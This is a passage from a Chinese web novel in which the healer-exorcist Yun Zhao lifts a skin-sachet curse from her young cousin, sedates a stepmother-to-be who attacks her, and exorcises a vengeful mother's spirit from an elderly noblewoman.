这些日子以来,严嬷嬷亲眼见证了云昭的真本事与对母亲的赤诚孝心,见状上前道:“恭喜姑娘,恭喜夫人,总算是苦尽甘来了!”
“嬷嬷不必自谦。”苏氏握住严嬷嬷的手,语气真诚,“我都听昭儿说了,她刚回府时举步维艰,多亏嬷嬷处处从旁提点。嬷嬷一心为昭儿,是难得的忠仆。”
严嬷嬷笑道:“夫人言重了。老奴来到咱们府上,也没出什么大力,都是姑娘吩咐下来,咱们就照着做。如今夫人正式拿回掌家权,许多正经事宜,终于可以放手张罗起来了。”
“不错。”苏氏颔首。她深知内宅之道,在于用人。如今既然重掌中馈,首要之事便是清理积弊,换上可靠之人。
她当即便与严嬷嬷商议起来,采买丫鬟小厮、核查各处管事、整顿厨房采买等一应琐碎却紧要的事务……此处暂且按下不表。
云昭见母亲与严嬷嬷一个干劲十足,一个精明干练,配合默契,不禁莞尔,便由着她们去忙碌。
她自己则带着莺时回到了“栖梧苑”,吩咐莺时带着院里的两个小丫鬟,将前几日让生药铺子送来的各类药材仔细分拣、处理。
屏退旁人,独自浸在温热浴桶中,氤氲的水汽模糊了她的眉眼。
云昭闭上眼,任由温热的水流包裹全身。今日种种——
从碧云寺的命批显现,宫中的暗流涌动,再到府门前的激烈冲突,父亲与梅氏看似妥协实则暗藏锋芒……一幕幕在脑海中飞速掠过。
门外传来莺时的声音:“姑娘,是三房的人来了。说是事态紧急,求姑娘速去施以援手!”
第86章 云昭!你还我心儿命来!
来人是三房温氏身边的陪嫁丫鬟桔梗。
桔梗来时鬓发散乱,原本白皙的侧颊上赫然印着五道红肿指痕,唇角还凝着血丝。
但她顾不上自身狼狈,一见云昭便扑通跪倒在地,声音嘶哑地哭求:“云昭小姐!求您快去救救我们绾棠小姐吧!”
云昭眸光一凛,当即提步:“发生何事,仔细说清楚!”同时转头吩咐莺时,"快去我屋里,将药箱和那个绣着云纹的药囊取来!"
莺时应声而动,迅速回屋取好东西,又机灵地指派一个小丫鬟速去望舒苑给苏氏报信,自己则快步跟上云昭,一行人朝着汀兰苑的方向疾行。
“此事说来确实是我们小姐不对,”桔梗哽咽着快速禀报,“今日用过晚饭,小姐照例在院里散步消食。
起初还好好的,谁知走到靠近花园的月亮门时,她忽然停下脚步,直勾勾地盯着前方。然后就像变了个人似的,一言不发地快步往前走!”
“这几日小姐夜里不安生,白日里偶尔也会这般神情恍惚地走动,我们都习惯了,见状便赶紧跟了上去。
谁知小姐竟一路走到莲池边的凉亭,绾心小姐正在那儿赏夜景。
小姐她……她一见到绾心小姐,就直冲过去,二话不说,抬手就狠狠扇了绾心小姐一记耳光!”
桔梗的声音带着恐惧与难以置信。
云昭闻言,脚步不停,眉头却紧紧蹙起:“她今晚可有什么异常之处?饮食、接触过什么特别的东西?”
桔梗急声道:“夫人特意叮嘱过,这几日小姐的饮食起居格外小心,都是小厨房单独做的,与平日并无不同。”
云昭眸光一沉。
行至莲池边的六角凉亭,只见温氏正死死抱着不断挣扎的姜绾棠,一面迭声地向满面怒容的姜绾心赔罪。
姜绾心捂着红肿的半边脸,眼中喷火,一见到云昭来了,当即指着她的鼻子厉声怒骂:
“好啊!姜云昭!原来是你指使这个疯丫头来打我!你跟三房早就串通一气了是不是!”
她脸侧被**划伤的伤口本就未好,此时又被掌掴,脸颊高高肿起,敷着药膏的伤口渗出血丝,瞧着是平日罕见的狼狈。
她气得浑身发抖,声音尖厉:“你就是嫉妒!嫉妒闻空大师给我的批命!嫉妒太子殿下对我的青眼!你使出这种下作手段,也不嫌丢人现眼!”
云昭冷嗤一声,目光如冰刃般扫过姜绾心那张因愤怒而扭曲的脸,语气带着毫不掩饰的讥讽:
“我嫉妒你?嫉妒你在沐佛礼上那点自导自演的小把戏?还是嫉妒你如今成了满京城童谣里那只‘困守朱门’的金丝雀?或者……”
她故意顿了顿,一字一句都砸在姜绾心最痛的伤口上,“我该嫉妒你,明日你的亲生母亲,就要名正言顺地给我父亲做妾了?”
“你——!”姜绾心被这番毫不留情的话噎得脸色煞白。
尤其是最后一句,如同最锋利的**,狠狠扎进了她的心窝!
她今日在堂屋百般暗示,甚至以泪相逼,为何娘亲就是不肯反抗?
她姜绾心一个注定要入主东宫的未来皇后,怎能有一个卑贱的妾室做生母?光是想到太子殿下得知此事时可能露出的鄙夷眼神,她就羞愤得几乎要晕厥过去!
趁姜绾心气得浑身发抖、一时语塞之际,云昭不再理会她,快步上前。
温氏会意,勉强按住眼神空洞、依旧在无声挣扎的姜绾棠。云昭迅速翻开她的双手和手臂仔细检查——
肌肤看似光洁,但在她凝神细察下,却发现腕间皮肤下隐隐有极淡的青灰色气流,正如细蛇般缓缓游向心脉方向。
这并非南华郡主那般外显的血色丝线,而是一种不易察觉的噬运之术!
云昭心下凛然,接着,她轻轻撑开绾棠的眼皮。
就在那一刹那,云昭的呼吸几不可察地一窒——
借着亭角灯笼昏黄的光线,她清晰地看见,在姜绾棠瞳孔周围的眼白上,竟散布着数个如同针尖般细小的暗红色血点!
“嗬……嗬……”姜绾棠喉咙里发出模糊不清的气音,空洞的眼神似乎聚焦了一瞬,死死盯着姜绾心的方向,充满了难以言喻的怨恨。
云昭心念电转,目光倏地落在绾棠腰间——
一枚绛色绣纹香囊正系在那里。
香囊质地异样,触手柔韧,带着一种令人不适的凉腻。
云昭凝神细看,只见香囊表面竟随着绾棠的呼吸微微起伏,仿佛活物!
“立刻带绾棠回汀兰苑!”云昭当机立断,无视姜绾心在一旁的尖叫怒骂,对温氏和桔梗沉声吩咐:“打一盆干净的井水,再取些糯米和红线来!要快!”
温氏与桔梗见云昭神色凝重,不敢怠慢,连忙依言照做。
见云昭转身欲走,姜绾心却不依不饶地拦住她,声音尖刻:“怎么,指使了疯狗咬人,这就想跑?我告诉你姜云昭,今日之事,我绝不会善罢甘休!”
云昭脚步一顿,回眸看她,眼神里带着一丝近乎怜悯的嘲弄:“我劝你有功夫在这里胡搅蛮缠,不如立刻派人出府,好好打听打听——
如今这京城之中,最时兴流传的,究竟是什么新鲜消息。”
她故意语焉不详,却精准地戳中了姜绾心最敏感的神经。
姜绾心一怔,待她回过神来,云昭的身影已消失在通往汀兰苑的曲径深处。
她心中莫名涌起一阵强烈的不安,再也顾不得脸上的疼痛,立刻对身边的心腹丫鬟厉声道:“你还愣着干什么!立刻出府!去给我打听清楚,外面现在到底在传什么!尤其是关于太子殿下的!快去!”
*
汀兰苑内,灯火通明。
云昭指挥着丫鬟用新汲的井水混合糯米,为姜绾棠净手敷额。
清水触及皮肤,伴随着“滋”地一声轻响。隐隐泛起一层不祥的灰气,水中糯米更是以肉眼可见的速度变得乌黑。
“按住她,绝不能让她挣脱。”云昭又取过红线,手法娴熟地在绾棠的手腕、脚腕处缠绕数圈,打上特殊的锁魂结,布下一个简易却极为关键的“七窍锁灵阵”。
红线缠上的瞬间,姜绾棠身躯猛地一颤,喉中发出一声似痛苦又似解脱的呜咽!
暂时稳住情况后,云昭这才小心翼翼地解下那枚人皮香囊。
借着明亮的烛火细看,这香囊做工极为精巧,她凑近轻嗅,除了那若有若无的血腥气,竟还捕捉到一丝极淡的、清洌中带着一丝甜腻的冷香——
这香气……她今日仿佛在哪闻到过!
她追问温氏和桔梗:“这香囊从何而来?”
温氏一脸茫然:“这……这是那日去她外祖家,她外祖母亲手做的,赠给绾棠。里面还放了……”
她说着,下意识伸手想去触碰确认,云昭却猛地将香囊拿开:“别碰!”
但温氏指尖看看擦过香囊边缘,已然感觉到了那香囊异样的触感。
她浑身一僵,不由盯着那香囊细看片刻,失声惊
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呼:“这不是她外祖母赠的香囊!花纹不对!材质也不同!”
云昭眸底闪过一抹冷意:当然不一样。想必那日绾棠被设计撞到那婆子时,对方就已神不知鬼不觉地调换了她贴身的物件!
云昭用小银剪挑开香囊内衬,指尖在内里细细摸索。
内里的皮质似乎经过特殊药水浸泡,触手更觉阴寒,而且她能清晰地感觉到,这香囊本身就像一个小小的活体祭坛,正在缓慢而持续地从佩戴者身上抽取着某种生命能量——
并非简单地损害健康,更像是……在窃取某种关乎命数的本源气运!
对方处心积虑布此邪术,难道仅仅是为了控制绾棠,去攻击姜绾心?
但女子之间撕打几下,又不致命,对方图的什么?
云昭思绪飞转,陡然记起了香囊上那股极淡的香气由来——
是宋白玉!那位人人称颂、完美无瑕的京城第一贵女!
“不好!”云昭脊背瞬间窜起一股寒意。
这根本是一个精心编织、针对她而来的连环死局!
白日碧云寺中,南华郡主的攻击没能当场取了姜绾心的性命,也未能伤她分毫,打乱了对方最初的计划。宋白玉便将计就计,慷慨赠予那据说能消肿祛疤的“雪肌凝玉膏”。
方才施术之人控制绾棠出手攻击姜绾心,根本意图便是以此为契机,引动潜藏于姜绾心体内的药毒!
而她云昭,既拥有害死姜绾心的动机,又身具医术通玄之能,恰是最完美的替罪羔羊!
“砰——!”
院门被猛地撞开,伴随着梅柔卿凄厉至极的哭喊:“云昭!你这毒妇,还我心儿命来——!”
紧接着是姜老夫人拄着拐杖、唾沫横飞地厉声咒骂:“下作的小娼妇!烂了心肠的蹄子!
自己没那个凤凰命,就见不得姊妹好!我们姜家是造了什么孽,养出你这等专害自家人的祸害!当初就让你死在外头!”
“开门!姜云昭!”姜珩怒不可遏的吼声震耳欲聋,“立刻滚出来救醒心儿!若她有半分差池,我定要你偿命!”
嘈杂的脚步声、哭喊声、斥骂声瞬间将小小的汀兰苑包围,房门被拍得砰砰作响,门框都在簌簌震动,仿佛下一刻就要被强行破开。
而绾棠身上的“七窍锁灵阵”,还需至少一盏茶的功夫方能圆满!
此时若被打断,轻则前功尽弃,重则……这丫头怕是要神魂受损,终生痴傻!
云昭眸光一凛,厉声吩咐左右:“都给我守好了!谁也不许动绾棠分毫!今日这咒术能否化解,全看接下来这一盏茶的工夫!”
言罢,她提气凝神,一声清叱如玉石相击,瞬间压过了门外所有喧嚣:
“梅柔卿!动动你的脑子,我要杀姜绾心,何时何地杀不得?真杀了她,又怎会让你寻到线索、引火烧身?
你女儿如今命悬一线,你既有真本事傍身,何不好好查查她今日都见了何人,收了何物!揪出那个借刀**的真凶!若你能做到,我云昭倒也敬你有几分能耐!”
姜绾心与她有两世血海深仇,剜心换命之痛!
她此生定会好好活着,亲眼看着她和姜家上下受尽果报,不得好死!
若就这么让她稀里糊涂**,让那幕后之人成功借姜绾心之死嫁祸于她——
此等算计,她绝不允!
她相信凭梅柔卿的本事,必能救醒姜绾心,只是没她从旁指点,今夜姜绾心少不得要吃上许多苦头了。
第87章 不救心儿,你也一起死!
院子里先是安静片刻,紧接着传来脚步声纷纷离去的动静,其间还夹杂着老夫人不满的嘟囔和姜珩半信半疑的追问。
梅氏低柔的劝说声隐隐传来,不过片刻,院内便重归寂静。
屋内。
云昭凝神聚气,指尖蕴着一缕若有若无的真气,自绾棠的百会穴起,沿印堂、膻中、气海一路疾点而下,最终三指虚悬于她眉心。
只见一缕极淡的黑气自绾棠七窍缓缓溢出,如活物般挣扎扭动,却被云昭早已备好的糯米水盆尽数吸纳。水盆中的糯米瞬间变得乌黑,发出刺鼻的腥臭。
绾棠睫毛微颤,缓缓睁开了眼睛,声音细弱:“娘……”
“棠儿!我的棠儿回来了!”温氏一把将女儿紧紧搂在怀中,泪水夺眶而出,声音哽咽不止。
云昭执笔蘸墨,迅速写下一张方子:“三婶,按这个方子抓药,连服七日。每日午时正刻,带绾棠在院中晒晒太阳,至少要满一个时辰,以补足阳气。”
她语气微沉,“至于寺庙庵堂之类的地方,近期切勿前往。”
温氏连连点头,紧紧握住云昭的手:“昭姐儿此恩此情,三婶永世不忘!日后但凡有用得着我们的地方,尽管开口,我必当竭尽全力。”
“三婶言重了,既是一家人,原该相互扶持。”云昭浅浅一笑。
“一家人……”温氏喃喃重复这三个字,眼角泪珠滚落。在这深宅大院里,她这房何曾被真正当作一家人看待过?
她压低嗓子哽咽道:“若不是为了两个孩子……这般熬心的日子,我早就不想过了。”
云昭眸光微动,沉吟片刻后吩咐:“劳烦三婶遣个可靠的丫鬟,速往京兆府寻赵大人。就说,我要借调十名衙役过来看守内院。
再请他转告府上女眷,请老夫人和嫂夫人暂留府中,我稍后便上门拜访。”
温氏连忙应下。
这时,醒来的绾棠忽然细声开口:“多谢阿姊。那个姐姐……她走了。”
搂着绾棠的温氏浑身一颤,嗓音都变了调:“什么姐姐?”
绾棠歪着头,努力回想:“一个穿着翠绿衫子的姐姐,头发很长,眼睛很大。她说她叫小莲,迷路了,让我帮她找娘亲……她的脚,好像飘着的……”
温氏听得脊背发凉,下意识将女儿搂得更紧,惶惶然望向云昭:"昭姐儿,这……"
“无妨。”云昭从容安抚道,“小孩子目明心净,加之近日被邪术借运,一时阳气稍损。往后多晒太阳补足元气,自然就无碍了。”
温氏这才松了口气,连连点头,将女儿的小手紧紧攥在掌心。
云昭盯着手中的人皮香囊,目光森寒:“三婶,这个香囊我要带走。”
“自然,自然。”温氏连连点头。即便云昭不提,她也绝不敢留此邪物在身边。
这时门外传来轻轻的叩门声。莺时禀报:“姑娘,是咱们院里的雁儿回来了。”
雁儿快步进来,行礼道:“夫人和严嬷嬷去了外头的铺子,奴婢未能寻到人。”
云昭略一思忖,对温氏道:“三婶,稍后京兆府的衙役到了,我会让他们重点看守我母亲的院子。
今夜恐怕不太平,委屈您和两位妹妹暂且挪到望舒苑住下。至于三叔那边……”
“多谢昭儿为我们母女考虑得这般周全。”温氏感激不已,能暂时搬到苏氏的院子居住,对她们母女而言无疑是多了一重保障。
至于姜世忠,她啐了一口,“不必管他。我们娘仨就是死在外头,他也不会多看一眼。”
三叔待三婶和两个妹妹一直很好,这不免说的是气话。
云昭不由失笑,命莺时打开随身药箱,取出黄纸和朱砂,屏息凝神,笔走龙蛇。
只见朱砂在黄纸上勾勒出繁复的符文,隐隐有流光闪动。
她将第一道符交给温氏,仔细嘱咐:“三婶切记,将这道‘镇宅安魂符’贴在望舒苑内那棵老桃树的东侧枝干上。
桃木本就辟邪,东为震位,属雷,可增强符力。贴符时需心念澄净,默念‘天地清明,邪祟不侵’三遍。”
接着又递上第二道符:“这是‘化厄应急符’。若今夜院中发生任何异动,切记不要出门,立即将此符撕碎,撒入盛满清水的盆中。
然后将符水泼洒在房门和窗沿之内,如此可形成一道屏障,保你们一夜平安。”
温氏郑重接过,小心收好:“昭姐儿放心,我必不负所托。”
绾棠眨着大眼睛,依依不舍地拉着云昭的衣袖:“阿姊,你要去哪?现在很晚了,外面好黑。”
云昭轻抚她的发顶,温声道:“我去救一个和棠儿一样,被坏人欺负的老奶奶。”
绾棠望着云昭,眼中满是崇拜,目送她的背影消失在夜色中。
她小声对温氏说:“娘,昭姊姊是我见过最厉害的人。”
温氏将女儿搂在怀中,轻叹道:“是啊。你阿姊不是普通人,既有菩萨心肠,又有雷霆手段。”
她不敢耽搁,立即吩咐下人简单收拾行装,带着两个女儿快步往望舒苑而去。
*
云昭携莺时刚行至角门,一道挺拔的身影拦在了月光斑驳的青石小径上。
姜珩负手而立,廊下灯笼的光影在他脸上交错,衬得神色愈发阴晴不定。他沉默良久,才从喉间挤出艰涩的声音:“去看看心儿。”
那语气不似恳求,倒像是施恩。
未等云昭回应,梅柔卿已踉跄着从竹林小径奔来。她发髻散乱,珠钗斜坠,哪还有平日半分温婉从容?
“大姑娘!”梅氏扑到云昭跟前,“噗通”一声重重跪在青石板上。她仰起脸,泪水混着胭脂狼狈地滑落:
“求求你,救救心儿!心儿虽醒了,但不知为何身上长满红斑,痛痒难耐……你大人有大量,医者仁心!如今只有你能救她了!”
云昭闻言,眸波微动:若只是痛痒难耐,恐怕梅氏还不至于急成这样。恐怕那红斑不一般,极有可能是会导致人肌肤溃烂一类的毒咒。
连梅氏都束手无策,这宋白玉的手段倒是有点意思。
姜世安也跟了出来。
他的面容隐在竹林的阴影里,晦暗不明:“阿昭,如今满城皆知,东宫对心儿青眼有加,她若有个三长两短,肌肤落下疤痕,你让太子颜面何存?让我们姜家如何自处?
我知你与心儿一贯有些龃龉,但一家人终究是一家人,打断骨头还连着筋
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。你身为姜家女儿,该以家族利益为重。”
姜珩这时也道:“云昭,你回京后,救长公主,治秦王,连宫里的柔妃娘娘都承过你的情。却从未见你为自家人尽过心力。
你若真如外界传闻那般医术了得,今日便当着我们的面医好心儿。只要你能做到,我姜珩……我必定……”
云昭闻言,有点感兴趣地挑起眉梢:“必定如何?”
姜珩额角青筋跳动,似受了莫大侮辱,从牙缝里挤出:“我跪下给你磕三个响头,承认往日所有错处!”
一旁的老夫人拄着拐杖连连跺地:“男儿膝下有黄金!云昭你别给脸不要脸!都是一家子骨肉,有你这么拿乔作态的吗?心儿都快没命了!你还在这儿讨价还价?”
她骂得唾沫横飞,“什么狗屁清什么谷小医仙,也不知师父怎么教的,竟教养出你这等没心肝的孽障!”
听到老夫人提起清微谷和师父,云昭眸中闪过一抹阴戾。
她故作惋惜地叹了口气:“我确实没得师父好生教导。谁让我师父和整个清微谷上下七十七条人命,全都死在一场大火之中呢?许多绝学医术,怕是就此失传了。”
这是她回姜家后,第一次当着众人的面提及师门**。
姜家其余人尚且懵懂,唯独姜珩脸色骤变,下意识避开了她的视线。
云昭迎上他闪躲的目光,唇角勾起一抹冰冷的弧度:“兄长博览群书,应当听过一句话:‘天道好轮回,苍天饶过谁。’做人若是太绝,迟早要遭报应的。”
姜珩被她看得恼羞成怒,低吼道:“所以你到底是救,还是不救!”
“我救不了。”云昭的声音平静得没有一丝波澜。
“你分明就是见死不救!”姜珩当即暴怒,目眦欲裂。
老夫人捶胸顿足,哭天抢地:“我就知道这丫头心肠硬得像石头!她这是要活活看着心儿死啊!”
姜世安一步踏出阴影,脸色铁青,指着云昭的鼻子怒斥:“逆女!你敢不救?信不信我立刻将你从族谱除名!”
云昭听到这话险些笑出声。
姜家的族谱,她稀罕过吗?
不过现在就除名,岂不是说要她当即搬离姜家?她还没亲眼看着这些人身败名裂、受尽折磨而死,她可舍不得走!
梅柔卿缓缓抬起头,那双含泪的美目幽深如潭,死死盯住云昭,里面翻涌着刻骨的怨毒与一种近乎疯狂的恨意。
“梅姨娘何必这样看我。”云昭淡淡道,声音里带着几分讥诮,“易地而处,你可会救我?”
四目相对,是短兵相接的冰冷狠绝,是彼此心知肚明的刻骨仇恨!
梅柔卿缓缓站起身。
“别怪我没提醒你。”云昭的声音如寒冰击玉,“你想救姜绾心,就别再搞那些歪门邪道。否则对方的咒术变本加厉,你会亲手害死你的女儿!”
这句话如同最后一根稻草,彻底压垮了梅柔卿的理智!
她突然厉喝一声,状若疯癫地扑了过来,双手直取云昭咽喉:“不救心儿,那就你也一起死!”
电光火石之间,云昭来不及抽出腰间银鞭,她后撤一步,手臂微抬——
一道银光自袖中疾射而出!
第88章 逆女!你竟敢当众弑杀庶母
袖箭破空疾射,不偏不倚正中梅柔卿胸口膻中穴!
她身子猛地一颤,随即软软瘫倒在地。一股殷红的血箭自创处喷涌而出,溅了疾步上前的姜珩满脸!
温热的血液顺着他的下颌滴落,在那身月白长袍上晕开大片刺目的红。
这位素有“兰台玉树”美誉的公子哥儿,此刻竟骇得双腿发软,一屁股跌坐在地,连声音都变了调:“血……好多血!”
姜世安勃然变色,须发皆张:“逆女!你竟敢当众弑杀庶母——”
“父亲慎言。”云昭淡然拂袖,“纳妾礼未成,何来庶母之说?这袖箭不过是淬了特制麻沸散,让她安分躺上一晚罢了,死不了人。”
老夫人气得浑身发抖,拐杖重重杵地:“反了!真是反了!还不快把这小**给我捆起来!世安!请家法!今日非得打服了她不可!”
姜世安目光惊疑不定地扫过云昭的袖口与腰间,竟一时未敢轻举妄动。
正当僵持之际,角门忽然“轰”地被从外踹开!赵悉那吊儿郎当的嗓音伴着夜风传来:“哟,这是唱的哪出大戏?比我们京兆府大牢还热闹!”
只见他优哉游哉地迈进门来,身后跟着面色惶急的苏氏与严嬷嬷,再往后竟是乌泱泱二三十个陌生面孔的丫鬟婆子,显是方才新采买的下人。
严嬷嬷一眼瞥见场中情形,当即拍着大腿惊呼:“天爷哟!这尚书府是要反了天不成?光天化月之下,竟要打杀嫡出小姐!”
她故意将“嫡出”二字咬得极重,叉腰瞪向姜世安,“老身这就去求见长公主殿下,请她评评这个理!”
苏氏已快步冲到云昭身旁,一把将女儿护在身后,警惕地望向丈夫:“夫君,我才离府片刻,你又要如何作践昭儿?”
目光扫过满脸血污的姜珩,惊道:“你……你杀了梅姨娘?”
姜珩狼狈地抹了把脸,恨声道:“是你这好女儿干的好事!”
“且慢且慢。”赵悉踱步上前,蹲身查看梅氏伤势,漫不经心道:“什么杀不杀的,可别污了姑娘家的清誉。”
他指尖轻巧地拔出那支袖箭,迅速纳入袖中,朝姜世安咧嘴一笑:“不过是些麻沸散,姜大人何必动怒?
梅柔卿瞪大双眼躺在地上,胸口又渗出一股血,偏偏浑身动弹不得,连舌根都僵麻得说不出话,只能发出“嗬嗬”的急喘。
姜世安指着赵悉,气得浑身发抖:“你……你竟敢包庇凶犯!”
赵悉笑嘻嘻地拍拍官袍:“伤口深不及一指,姑娘家嘛,平日里大门不出、二门不迈的,手腕纤弱,能有多大劲儿?”
他环视众人,慢条斯理道:“诸位何必小题大做?”
这番颠倒黑白的说辞,险些让姜世安背过气去。
他强压怒火,咬牙道:“不知赵大人深夜闯府,所为何事?”
“自然是公务。”赵悉正色道,“桃花煞案有了重大线索,本官特调二十差役驻守贵府,还望行个方便。”
这时梅柔卿突然激动得瞪圆双眼,喉咙里发出急促的“呜呜”声,似是急于开口。
云昭冷眼扫过,对苏氏道:“母亲且带严嬷嬷回望舒苑,今夜锁紧门户,莫要外出。”
苏氏忧心忡忡地握住女儿的手,终究只对赵悉福了一礼:“小女便托付给大人了。”
赵悉难得郑重还礼:“夫人放心,在下定当护姜姑娘周全。”
他转头唤道:“沈主簿——”
但见一位身着青衫的年轻官员应声出列。
此人面容清俊,目若寒星,正是京兆府最年轻的从八品主簿沈清翎。
他从容向姜世安施礼:“奉赵大人令,卑职率众护卫贵府内院,若有冒犯之处,还望海涵。”
说罢也不待回应,便领着二十名差役紧随苏氏而去。
自始至终,无人多看地上狼狈的姜珩与梅氏一眼。
云昭冷瞥过梅柔卿一眼,转身快步随赵悉迈出角门,身影消失在夜色之中。
*
车厢内灯火摇曳,将二人的影子投在晃动的车壁上。
云昭拣要紧处,将今夜姜府发生的诡谲之事简明道来。
赵悉指节轻叩膝头,沉吟道:“如此说来,若遇上那婆子,买了她的符咒,便成了那‘桃花煞’的养料;
若不买,便会如姜三姑娘一般,被暗中下咒,窃取气运?”
“正是。”云昭颔首,“福缘、禄命、寿数,乃至自身气运,皆有可能被觊觎。”她话锋一转,问道:“府上老夫人近来身体可还康健?”
赵悉摸了摸下巴,神色略显凝重:“倒未曾听闻有何病痛。只是祖母从前最爱热闹,没一日能忍住不出门。自月前开始,每至深夜便有些异常,白日里更是将自己紧闭房中,足不出户已近月余。”
云昭闻言,秀眉微蹙。
说话间,马车已稳稳停在宁国公府门前。
云昭与赵悉不敢耽搁,带着人快步穿廊过院。还未至后院,便听得里头传来一道冷静却难掩急切的女子声音:“快!再取些结实麻绳来!”
紧接着是一个少女的嗓音:“布巾塞好了!定不会让祖母伤着自己!”
云昭与赵悉对视一眼,脚下步伐更快。
踏入后院,只见承义侯夫人林氏,正与几个健壮婆子一同,勉力将一位头发花白、身形却异常矫健的老夫人按在太师椅上。
那老夫人双目赤红,喉间发出不似人声的低吼,力大惊人,竟需三四个人才能勉强制住。
旁边还围着七八位女眷,皆是神色惶急,七嘴八舌地出着主意,却又不敢靠得太近。
一位穿着杏子黄裙衫的少妇拍了拍心口,指着裙摆上一个清晰的泥印,心有余悸:“母亲这力气也忒大了!瞧瞧这脚印,踹得我如今还腿肚子发软!”
另一位身着湖蓝比甲的妇人急忙喊道:“明薇!快别动祖母嘴里的布巾了!当心伤着!”
赵悉见状,以手扶额,对云昭露出一个无奈的笑:“家宅不宁,让姜姑娘见笑了。”
他快步上前,先是朝着主持大局的林氏唤了声“大嫂”,又对旁边几位妇人依次见礼:“二嫂、三嫂、四嫂。”
旋即转向被缚的老夫人,语气带着安抚:“祖母,您且忍一忍,孙儿请了医术高明的姜大姑娘来为您诊
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治!”
云昭缓步上前,目光沉静如水。
她刚欲伸手探向老夫人的腕脉,对方喉咙里顿时发出困兽般的警告呜咽,被绳索捆住的双足猛地蹬踹,力道之大,连沉重的太师椅都随之挪动了寸许!
一旁紧张注视的林氏见状,立刻上前一步:“我来按住母亲……”
云昭却抬手,做了一个止步的手势,神色依旧平静。
赵悉也立刻朝围拢过来的女眷们打了个手势,压低声音:“诸位嫂嫂,暂且退后,莫要打扰姜姑娘施为。”
院内瞬间安静下来,所有目光都聚焦在云昭身上。
云昭盯着老夫人的双瞳看了片刻,忽而从随身锦囊里,取出那人皮香囊,捏在指尖。
赵悉虽不明所以,但反应极快:“有!”
他话音未落,已从怀中掏出火折子,“嚓”一声吹亮。
跳跃的火苗立刻跃向云昭手中那枚诡异的香囊。
“住手——!”被牢牢捆在椅子上的老夫人猛地发出一声凄厉至极的尖叫,竟硬生生吐出了口中紧塞的布巾!
她嘶声吼道:“你敢烧!我做鬼也不会放过你!!!”
云昭手势如电,指尖倏地收回,巧妙避开了火焰。
她双目陡然迸射出锐利如剑的光芒,直刺向状若疯狂的老夫人,清叱之声如同惊雷炸响:“还不滚出来!”
“否则,这样的皮子我见一块,烧一块!你不是想复活小莲吗?我今晚就去烧了她的皮,散了她的魂!让她连投胎转世的机会都没有!”
椅子上的老夫人当即发出一声凄厉如夜枭的尖啸:“你敢——!”
“我有何不敢?”云昭指尖黄符甩得簌簌作响,似笑非笑道,“你肯定在想,这丫头岂能寻得我肉身所在?偏要赖在此处,看她能奈我何?”
她指尖倏地弹出一枚铜钱,那铜钱悬在半空急速旋转,发出嗡鸣:
“魂寄之术,肉身不得离宿主百步!你既借老夫人之躯行凶,真身必藏在这院中——”
目光如电扫过庭院,忽而定在东南角一口以青石板封死的枯井上。
“掘开那口井!”
赵悉立即带人上前。不过片刻,井下传来惊呼,一具干瘪枯瘦的老妇尸身被抬出,周身缠满红线,心口贴着张暗褐符纸。
云昭取下腰间银鞭,对一旁的莺时命道:“打开药箱,取**血来!她既然不识好歹,我就先鞭了她的尸,再去灭了小莲的魂!”
府内众人一时静默。
包括林氏和赵悉在内的所有人都没想到,云昭看起来眉目秾丽如画,竟然开口就是鞭尸、灭魂!
偏生那通身凛冽气势,教人毫不怀疑她下一刻就会挥鞭而下。
云昭撂下这话,也无半点犹豫,手中银鞭一甩,破空之声传来——
椅上老夫人突然身子一软。
几乎同时,地上那具干尸猛地抽搐起来!
枯瘦的老妪挣扎着跪倒在地,浑浊老泪纵横交错,枯爪般的手伸向云昭:
“仙姑,求您把女儿的皮还给我!小莲她死得惨啊,她生前连蚂蚁都舍不得踩,您行行好,别烧她的皮……”
第89章 剥你的皮,就像在剜自己的心
“我和我闺女小莲,原是京郊将家村人……”
孙婆子瘫坐在地,干涸的眼眶里竟淌下两行浊泪,“她爹去得早,我一个寡妇,识得几个字,平日里就靠给人抄写书信、做些绣活,勉强拉扯她长大……”
“小莲那孩子,懂事啊……才十三岁,就知道帮我分担。那日,她说要去城里给绣庄送活计,换些银钱给我们娘俩扯块新布做冬衣……谁知这一去,就再没回来!”
三日后,有人在村口发现了被折磨致死的小莲。不仅浑身遍布青紫淤痕与齿印,身上多处皮肉更被生生剜去,露出森森白骨!
再后来,孙婆子偶遇一个游方老道,那道人告诉她一个秘法——
以亡者人皮制成符囊,窃取他人福缘寿数,积攒足够,或可使亡魂重聚,复生还阳。
听到此处,宁国公府的女眷们已纷纷面露不忍。
“这孙婆子母女,也太惨了……”
“到底是何人欺侮的小莲?你既知女儿遭此折磨,为何不报官?”
“二嫂,四嫂,莫要被她给带偏了。”赵悉眉头紧锁,沉声道:“近来闹得满城风雨的桃花煞案,就是她犯下的。南华郡主至今昏迷不醒,还有许多女眷都被她坑害。”
林氏亦面覆寒霜:“今日若非姜大姑娘在此,你还会继续作孽。你霸占母亲躯壳,究竟意欲何为!”
孙婆子厉声道:“你们这些穿锦袍、坐高堂的老爷夫人,何时管过我们穷苦人的死活?”
她死死瞪向赵悉,“还有你这狗官!整日里摆着贵公子的派头,断的是金玉案,守的是朱门律,何曾低头看过我们这些在泥里挣扎的草民一眼!”
这番话顿时惹恼了赵家女眷,几位夫人气得卷起袖子,纷纷斥责:
“我们悉儿虽是散漫了些,可办案向来公正,何时只看门第了!”
“京城谁不知道,我家这小子或许性子不够稳重,但在刑狱之上从未偏私!你去打听打听,他为了百姓的案子顶撞上官的事儿还少吗?”
赵悉被自家女眷夸得耳根微红,偷偷瞟了云昭一眼,有些不自在地清了清嗓子:“咳!诸位嫂嫂莫要再夸了,分内之事!分内之事!”
云昭却在这时冷声道:“在你眼中,赵悉是狗官,权贵皆是欺压百姓的蠹虫。唯独那个指点你的道长,是唯一的好人,是救你于水火的活菩萨,对吗?”
孙婆子眸光剧烈闪烁,嘴唇抿成一条苍白的直线,虽不答话,但那倔强而偏执的神情已是默认。
“你可知,正是你轻信邪道,你的女儿小莲已被你累得恶债缠身,连投胎转世的机会都要失去了!”云昭声音清洌,却字字如惊雷。
孙婆子如遭雷击,随即癫狂嘶吼:“你胡说!你骗我!明明就差一点……差一点我就能成功了!是你!是你坏了我的大事!”
“你寄生在老夫人体内,究竟想做什么?”云昭无视她的癫狂,步步紧逼。
“若不借此身份,我如何能近得了我那仇人的身!”孙婆子眼中恨意滔天,却又含糊其辞,并不肯说出那仇人的名字,只反复咒骂,“都是你!毁了我唯一的指望!”
云昭不再多言,只对莺时道:“取一盆清水来。要井水,越凉越好。”
清水很快端来。
云昭并指如剑,蘸着冰凉的井水,在盆沿上迅速划下几道玄奥的符文。
